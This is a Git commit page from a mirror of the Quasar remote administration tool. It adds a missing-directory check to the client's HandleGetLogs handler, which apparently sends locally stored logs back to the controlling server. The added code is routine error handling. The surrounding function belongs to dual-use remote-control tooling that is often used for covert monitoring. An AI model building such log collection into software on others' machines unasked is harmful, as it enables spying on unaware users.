mirror of https://github.com/quasar/Quasar.git
Improved behaviour when log directory doesn't exist
This commit is contained in:
parent
89389d7325
commit
6b624ea9ec
|
@ -384,6 +384,12 @@ public static void HandleGetLogs(Packets.ServerPackets.GetLogs command, Client c
|
|||
int index = 1;
|
||||
string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Logs\\";
|
||||
|
||||
if (!Directory.Exists(path))
|
||||
{
|
||||
new Packets.ClientPackets.GetLogsResponse("", new byte[0], -1, -1, "", index, 0).Execute(client);
|
||||
return;
|
||||
}
|
||||
|
||||
FileInfo[] iFiles = new DirectoryInfo(path).GetFiles();
|
||||
|
||||
if (iFiles.Length == 0)
|
||||
|
|
Loading…
Reference in New Issue